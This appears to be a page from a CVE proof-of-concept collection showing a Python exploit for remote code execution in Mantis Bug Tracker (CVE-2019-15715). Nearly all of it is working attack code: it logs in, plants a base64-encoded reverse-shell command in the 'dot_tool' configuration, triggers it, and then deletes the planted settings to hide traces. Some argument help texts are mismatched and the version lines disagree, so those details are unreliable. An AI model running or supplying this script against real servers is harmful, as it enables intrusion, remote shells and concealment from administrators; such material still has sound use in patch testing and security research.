4837 Total CVEs
26 Years
GitHub
README.md
Rendering markdown...
POC / CVE-2019-15715.py PY
# Exploit Title: Mantis Bug Tracker 2.3.0 - Remote Code Execution (Unauthenticated)
# Date: 2020-09-17
# Vulnerability Discovery: hyp3rlinx, permanull
# Exploit Author: Nikolas Geiselman
# Vendor Homepage: https://mantisbt.org/
# Software Link: https://mantisbt.org/download.php
# Version: <=2.22.0
# CVE : CVE-2019-15715
# References: https://mantisbt.org/bugs/view.php?id=26091

import requests
import urllib.parse
from base64 import b64encode
from re import split
import argparse

class exploit():
    def __init__(self):
        self.s = requests.Session()
        parser = argparse.ArgumentParser(description="Executes an arbitrary command on a Mantis Bug Tracker server.")
        parser.add_argument("-rh", "--rhost", help="Single Confluence Server URL")
        parser.add_argument("-rp", "--rport", help="File containing list of IP addresses")
        parser.add_argument("-lh", "--lhost", help="Command to Execute")
        parser.add_argument("-lp", "--lport", help="Open an interactive shell on the specified URL")
        parser.add_argument("-u", "--username", help="Username to hijack")
        parser.add_argument("-p", "--password", help="New password after account hijack")
        parser.add_argument("-e", "--endpoint", help="Location of mantis in URL")
        parser.add_argument("-rs", "--reverse_shell", help="Base64 encoded reverse shell payload")
        args = parser.parse_args()

        self.rhost = args.rhost
        self.rport = args.rport
        self.lhost = args.lhost
        self.lport = args.lport
        self.verify_user_id = "1" # User id for the target account
        self.username = args.username # Username to hijack
        self.password = args.password # New password after account hijack
        self.endpoint = args.endpoint # Location of mantis in URL
        self.reverse_shell = f"echo {urllib.parse.quote_plus(args.reverse_shell)} | base64 -d | /bin/bash"
        self.headers = {'Content-Type':'application/x-www-form-urlencoded'}
        
        self.url = f"http://{self.rhost}:{self.rport}{self.endpoint}"

    def login(self):
        # Authenticate as the target user
        r = self.s.post(url=f"{self.url}/login.php",headers=self.headers,data=f"return=index.php&username={self.username}&password={self.password}&secure_session=on")
        
        if "login_page.php" not in r.url:
            print(f"Authenticated as {self.username}!")

    def create_config(self, option, value):
        # Navigates to /adm_config_report.php to retrieve the token
        url = f"{self.url}/adm_config_report.php"
        r = self.s.get(url=url, headers=self.headers)
        adm_config_set_token = r.text.split('name="adm_config_set_token" value=')[1].split('"')[1] # Retrieves the token to submit during the config creation
        if adm_config_set_token == None:
            print("Unable to retrieve the token.")
            exit()
        
        # Creates the config
        data = f"adm_config_set_token={adm_config_set_token}&user_id=0&original_user_id=0&project_id=0&original_project_id=0&config_option={option}&original_config_option=&type=0&value={urllib.parse.quote_plus(value)}&action=create&config_set=Create+Configuration+Option"
        url = f"{self.url}/adm_config_set.php"
        r = self.s.post(url=url, headers=self.headers, data=data)

    def exploit(self):
        # Navigates to /workflow_graph_img.php to trigger the reverse shell
        url = f"{self.url}/workflow_graph_img.php"
        print("Triggering reverse shell")
        try:
            r = self.s.get(url=url,headers=self.headers, timeout=3)
            if r.status_code == 200:
                print("Reverse shell triggered successfully.")
        except:
            print("Reverse shell failed to trigger.")

    def cleanup(self):
        # Delete the config settings that were created to send the reverse shell	
        print("Cleaning up")

        cleaned_up = False

        CleanupHeaders = dict()
        CleanupHeaders.update({'Content-Type':'application/x-www-form-urlencoded'})

        data = f"return=index.php&username={self.username}&password={self.password}&secure_session=on"
        url = f"{self.url}/login.php"
        r = self.s.post(url=url,headers=CleanupHeaders,data=data)
		
        ConfigsToCleanup = ['dot_tool','relationship_graph_enable']
		
        for config in ConfigsToCleanup:
            # Get adm_config_delete_token
            url = f"{self.url}/adm_config_report.php"
            r = self.s.get(url=url, headers=self.headers)
            test = split('<!-- Repeated Info Rows -->',r.text)	
			
            # First element of the response list is garbage, delete it
            del test[0]		
				
            cleanup_dict = dict()
            for i in range(len(test)):
                if config in test[i]:
                    cleanup_dict.update({'config_option':config})
                    cleanup_dict.update({'adm_config_delete_token':test[i].split('name="adm_config_delete_token" value=')[1].split('"')[1]})
                    cleanup_dict.update({'user_id':test[i].split('name="user_id" value=')[1].split('"')[1]})
                    cleanup_dict.update({'project_id':test[i].split('name="project_id" value=')[1].split('"')[1]})		

      			# Delete the config 
            print("Deleting the " + config + " config.")
			
            url = f"{self.url}/adm_config_delete.php"
            data = f"adm_config_delete_token={cleanup_dict['adm_config_delete_token']}&user_id={cleanup_dict['user_id']}&project_id={cleanup_dict['project_id']}&config_option={cleanup_dict['config_option']}&_confirmed=1"
            r = self.s.post(url=url,headers=CleanupHeaders,data=data)
			
			      #Confirm if actually cleaned up
            r = self.s.get(url=f"{self.url}/adm_config_report.php", headers=CleanupHeaders)
            if config in r.text:
                cleaned_up = False
            else:
                cleaned_up = True
			
        if cleaned_up == True:
            print("Successfully cleaned up")
        else:
            print("Unable to clean up configs")

exploit=exploit()
exploit.login()
# As mentioned here: https://mantisbt.org/bugs/view.php?id=26091
# Step 1: Type "relationship_graph_enable" into Configuration Option with a value of 1 to enable the graphs.
exploit.create_config(option="relationship_graph_enable",value="1")
# Step 2: Type "dot_tool" into Configuration Option with a value of "touch /tmp/vulnerable;"
exploit.create_config(option="dot_tool",value= exploit.reverse_shell + ';')
# Step 3: Visit: /workflow_graph_img.php
exploit.exploit()
exploit.cleanup()